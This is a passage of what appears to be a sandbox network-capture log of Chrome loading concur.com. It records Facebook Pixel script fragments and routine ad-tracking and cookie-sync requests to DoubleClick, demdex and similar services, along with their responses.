2024-10-03 08:41:43 UTC	16384	IN	Data Raw: 75 6c 6c 26 26 74 79 70 65 6f 66 20 67 3d 3d 3d 22 73 74 72 69 6e 67 22 3f 67 3a 6e 75 6c 6c 3b 67 3d 7b 7d 3b 68 21 3d 6e 75 6c 6c 26 26 28 74 79 70 65 6f 66 20 68 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 68 29 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 67 3d 68 29 3b 72 65 74 75 72 6e 20 61 21 3d 6e 75 6c 6c 26 26 63 21 3d 6e 75 6c 6c 3f 5b 61 2c 63 2c 6a 2c 66 2c 67 5d 3a 6e 75 6c 6c 7d 63 3d 6e 65 77 20 61 28 67 29 3b 6c 2e 65 78 70 6f 72 74 73 3d 63 7d 29 28 29 3b 72 65 74 75 72 6e 20 6c 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 0a 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 73 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 47 65 74 49 73 43 68 72 6f 6d Data Ascii: ull&&typeof g==="string"?g:null;g={};h!=null&&(typeof h==="undefined"?"undefined":i(h))==="object"&&(g=h);return a!=null&&c!=null?[a,c,j,f,g]:null}c=new a(g);l.exports=c})();return l.exports}(a,b,c,d)});f.ensureModuleRegistered("signalsFBEventsGetIsChrom
2024-10-03 08:41:43 UTC	1676	IN	Data Raw: 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 61 29 3f 65 5b 61 5d 3a 61 7d 66 75 6e 63 74 69 6f 6e 20 71 28 61 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 68 2c 61 29 3f 68 5b 61 5d 3a 61 7d 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 69 66 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 61 29 3f 76 6f 69 64 20 30 3a 61 3b 74 72 79 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 61 29 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 61 2e Data Ascii: .prototype.hasOwnProperty.call(e,a)?e[a]:a}function q(a){return Object.prototype.hasOwnProperty.call(h,a)?h[a]:a}function r(a){if(typeof a==="string")return a;if(typeof a==="number")return isNaN(a)?void 0:a;try{return JSON.stringify(a)}catch(a){}return a.
2024-10-03 08:41:43 UTC	14708	IN	Data Raw: 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 63 2e 6d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 2e 6d 61 70 21 3d 6e 75 6c 6c 26 26 61 20 69 6e 20 63 2e 6d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 2e 6d 61 70 3f 63 2e 6d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 2e 6d 61 70 5b 61 5d 3a 6e 75 6c 6c 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 21 3d 6e 75 6c 6c 7d 29 3b 66 2e 6c 65 6e 67 74 68 3e 30 26 26 28 74 68 69 73 2e 6d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 2e 68 61 73 68 21 3d 6e 75 6c 6c 26 26 61 2e 61 70 70 65 6e 64 28 22 68 6d 65 22 2c 74 68 69 73 2e 6d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 2e 68 61 73 68 29 2c 61 2e 61 70 70 65 6e 64 28 22 65 78 5f 6d 22 2c 66 2e 6a 6f 69 6e 28 22 2c 22 29 29 29 7d 7d 5d 29 3b 72 65 Data Ascii: ion(a){return c.moduleEncodings.map!=null&&a in c.moduleEncodings.map?c.moduleEncodings.map[a]:null}),function(a){return a!=null});f.length>0&&(this.moduleEncodings.hash!=null&&a.append("hme",this.moduleEncodings.hash),a.append("ex_m",f.join(",")))}}]);re
2024-10-03 08:41:43 UTC	16384	IN	Data Raw: 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 76 65 6e 74 73 22 29 3b 76 61 72 20 6c 3d 62 2e 66 69 72 65 64 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 61 2c 62 29 7b 76 61 72 20 63 3d 21 30 2c 64 3d 21 31 2c 65 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 66 3d 62 5b 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 5d 28 29 2c 62 3b 21 28 63 3d 28 62 3d 66 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 3b 63 3d 21 30 29 7b 62 3d 62 2e 76 61 6c 75 65 3b 6c 2e 74 72 69 67 67 65 72 28 61 2c 62 29 7d 7d 63 61 74 63 68 28 61 29 7b 64 3d 21 30 2c 65 3d 61 7d 66 69 6e 61 6c 6c 79 7b 74 Data Ascii: etFbeventsModules("SignalsFBEventsEvents");var l=b.fired;function m(a,b){var c=!0,d=!1,e=void 0;try{for(var f=b[typeof Symbol==="function"?Symbol.iterator:"@@iterator"](),b;!(c=(b=f.next()).done);c=!0){b=b.value;l.trigger(a,b)}}catch(a){d=!0,e=a}finally{t
2024-10-03 08:41:43 UTC	16384	IN	Data Raw: 6e 63 74 69 6f 6e 20 79 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 61 28 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 62 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 64 3d 42 28 65 2c 49 2e 6f 62 6a 65 63 74 28 29 29 3b 65 3d 63 28 4f 62 6a 65 63 74 2e 6b 65 79 73 28 62 29 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 65 29 7b 69 66 28 63 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 66 3d 62 5b 65 5d 2c 67 3d 64 5b 65 5d 3b 66 3d 66 28 67 29 3b 72 65 74 75 72 6e 20 61 28 7b 7d 2c 63 2c 6c 28 7b 7d 2c 65 2c 66 29 29 7d 2c 7b 7d 29 3b 72 65 74 75 72 6e 20 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 2c 62 29 7b 74 72 79 7b 72 65 Data Ascii: nction y(a){return function(b){return b==null?null:a(b)}}function z(b){return function(e){var d=B(e,I.object());e=c(Object.keys(b),function(c,e){if(c==null)return null;var f=b[e],g=d[e];f=f(g);return a({},c,l({},e,f))},{});return e}}function A(a,b){try{re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49972	18.214.213.210	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	592	OUT	GET /sync?UIDM=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0 HTTP/1.1 Host: partners.tremorhub.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:43 UTC	513	IN	HTTP/1.1 200 Date: Thu, 03 Oct 2024 08:41:43 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' Set-Cookie: tvid=44533304b6d14becac7193d907199f5a; Domain=.tremorhub.com; Expires=Fri, 03-Oct-2025 14:30:03 GMT; Path=/; Secure; SameSite=None Set-Cookie: tv_UIDM=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0; Domain=.tremorhub.com; Expires=Sat, 03-Oct-2026 20:18:23 GMT; Path=/; Secure; SameSite=None
2024-10-03 08:41:43 UTC	49	IN	Data Raw: 32 62 0d 0a 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a Data Ascii: 2bGIF89a!,D;
2024-10-03 08:41:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49975	142.250.186.66	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	752	OUT	GET /pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WnY1WXZnQUFBRW1QVVFOLQ== HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk
2024-10-03 08:41:43 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 03 Oct 2024 08:41:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:43 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49976	142.250.184.194	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	789	OUT	GET /ddm/fls/z/dc_pre=CO2zmbDo8YgDFT2O_Qcd2rk2QQ;src=9504840;type=pagev0;cat=homep0;ord=1246699449049.1533 HTTP/1.1 Host: adservice.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9504840.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:43 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 03 Oct 2024 08:41:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:43 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49977	18.66.102.98	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	600	OUT	GET /api/v3/ip.json?referrer=&page=https%3A%2F%2Fwww.concur.com%2F&page_title=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur HTTP/1.1 Host: api.company-target.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0; tuuid_lu=1727944902\|ix:0\|mctv:0\|rp:0
2024-10-03 08:41:43 UTC	489	IN	HTTP/1.1 401 Unauthorized Content-Type: text/plain;charset=utf-8 Content-Length: 12 Connection: close Date: Thu, 03 Oct 2024 08:41:43 GMT Vary: Origin Server: nginx WWW-Authenticate: DemandBase API X-Content-Type-Options: nosniff Request-ID: c5289d10-08e3-46ca-91f4-2a126faebab2 X-Cache: Error from cloudfront Via: 1.1 9015971351bc982a04ee209a022bb1f8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P2 X-Amz-Cf-Id: MsJR1wl1yv9Rxwb7uYnyehq38ptEYYc7I2kAauSXZvZp0IDRkKx88Q==
2024-10-03 08:41:43 UTC	12	IN	Data Raw: 55 6e 61 75 74 68 6f 72 69 7a 65 64 Data Ascii: Unauthorized

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49979	142.250.186.66	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	559	OUT	GET /activity;xsp=195742;ord=53702194? HTTP/1.1 Host: pubads.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk
2024-10-03 08:41:43 UTC	579	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 03 Oct 2024 08:41:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:43 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49980	142.250.185.166	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	10120	OUT	GET /ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk1MDQ4NDAKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL2NvbmN1ci5jb20iCnhmYV9hdHRyaWJ1dGlvbl9pbnRlcmFjdGlvbl90eXBlOiBDT05WRVJTSU9OCmRlYnVnX2tleTogMTQ2NDEzMTc0NTM2NjA3ODQ2MzEKY3RjX2NvbnZlcnNpb25fYnVja2V0OiAxCmFyY2hldHlwZV9pZDogMTIKYXJjaGV0eXBlX2lkOiAxMwphcmNoZXR5cGVfaWQ6IDE0CmFyY2hldHlwZV9pZDogMTUKYXJjaGV0eXBlX2lkOiAxNgphcmNoZXR5cGVfaWQ6IDE3CmFyY2hldHlwZV9pZDogMTgKYXJjaGV0eXBlX2lkOiAxOQphcmNoZXR5cGVfaWQ6IDIwCmFyY2hldHlwZV9pZDogMjEKYXJjaGV0eXBlX2lkOiAxOTg4NjI4NAphcmNoZXR5cGVfaWQ6IDE5ODg2Mjg1CmFyY2hldHlwZV9pZDogMTk4ODYyODYKYXJjaGV0eXBlX2lkOiAxOTg4NjI4NwphcmNoZXR5cGVfaWQ6IDIwNDUyNTYwCmFyY2hldHlwZV9pZDogMjA0NTI1NjEKYXJjaGV0eXBlX2lkOiAyMDQ1MjU2MgphcmNoZXR5cGVfaWQ6IDIwNDUyNTYzCmFyY2hldHlwZV9pZDogNjM4NDcxODY4CmFyY2hldHlwZV9pZDogNjM4NDcxODY5CmFyY2hldHlwZV9pZDogNjM4NDcxODcwCmFyY2hldHlwZV9pZDogNjM4NDcxODcxCmFyY2hldHlwZV9pZDogNjM4NTY5MjA0CmFyY2hldHlwZV9pZDogNjM4NTY5MjA1CmFyY2hldHlwZV9pZDogNjM4NTY5MjA2CmFyY2hldHlwZV9pZDogNjM4NTY5MjA3CmFyY2hldHlwZV9pZDogN [TRUNCATED] Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger, not-navigation-source Referer: https://9504840.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk
2024-10-03 08:41:43 UTC	2661	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 03 Oct 2024 08:41:43 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"4155528179971450982"}],"aggregatable_trigger_data":[{"filters":[{"14":["11496089"]}],"key_piece":"0x9e1bbbe6bc9e03e4","source_keys":["12","13","14","15","16","17","18","19","20","21","19886284","19886285","19886286","19886287","20452560","20452561","20452562","20452563","638471868","638471869","638471870","638471871","638569204","638569205","638569206","638569207","640933520","640933521","640933522","640933523"]},{"key_piece":"0x615a704f9556bf3f","not_filters":{"14":["11496089"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","19886284","19886285","19886286","19886287","20452560","20452561","20452562","20452563","638471868","638471869","638471870","638471871","638569204","638569205","638569206","638569207","640933520","640933521","640933522","640933523"]}],"aggregatable_values":{"12":65,"13":65,"14":65,"15":6356,"16":65,"17":65,"18":6356,"19":65,"19886284":163,"19886285":163,"19886286":163,"1988 [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sat, 02-Nov-2024 08:41:43 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49981	46.137.24.228	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	966	OUT	GET /ibs:dpid=121998&dpuuid=ca2adc00dc5ddaa22e4ddf2a5cd80e47 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547\|121998-1-1727944899411\|144230-1-1727944901388
2024-10-03 08:41:43 UTC	897	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:43 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: z+mu6XmvQKg= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcscanary-prod-irl1-1-v080-05d29eb41.edge-irl1.demdex.com 3 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:43 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:43 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:43 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49978	18.173.205.104	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	639	OUT	GET /bg9s?x-amz-cf-id=DpnxTuqIcVNSzh_IelQmt-B2za8qM98RVAEHE332OUbIOq6qNqxjYw==&api-version=v3 HTTP/1.1 Host: tag-logger.demandbase.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.concur.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:44 UTC	603	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 0 Connection: close Last-Modified: Tue, 07 Mar 2023 20:47:02 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 8SdDCdpJvGjkSiMFPv08XcVSgwOMVVmH Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 02:39:41 GMT ETag: "d41d8cd98f00b204e9800998ecf8427e" Vary: Accept-Encoding X-Cache: Error from cloudfront Via: 1.1 f41688bac877227b82b3347b2428d266.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P12 X-Amz-Cf-Id: 9MsLy5jNnsm_27VhUnvhVJ-kKVvWDifjw724XvWREhp0tTQpOeM_fA== Age: 21724 Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49983	172.64.151.101	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:43 UTC	700	OUT	GET /rum?cm_dsp_id=18&expiry=1743669702&external_user_id=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0&C=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=Zv5Yx9HM6CkAADy2AD.0EAAA; CMPS=489; CMPRO=489
2024-10-03 08:41:43 UTC	951	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:43 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8ccba2810a527292-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zv5Yx9HM6CkAADy2AD.0EAAA; Path=/; Domain=casalemedia.com; Expires=Fri, 03 Oct 2025 08:41:43 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=489; Path=/; Domain=casalemedia.com; Expires=Wed, 01 Jan 2025 08:41:43 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zdusoOgCpUYms7feMatTwUE9N1%2BjJv4UOOiI10J07cQkSjNx20GkOaPCrYaxbt8VTHh3Qv7sIXQ1f3pGcD1rZvjZEUt%2F5PN2s1BjakTOPPoDseYk7rgWrtjLe3XY0AznXNcTw3QFYHaqkw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: 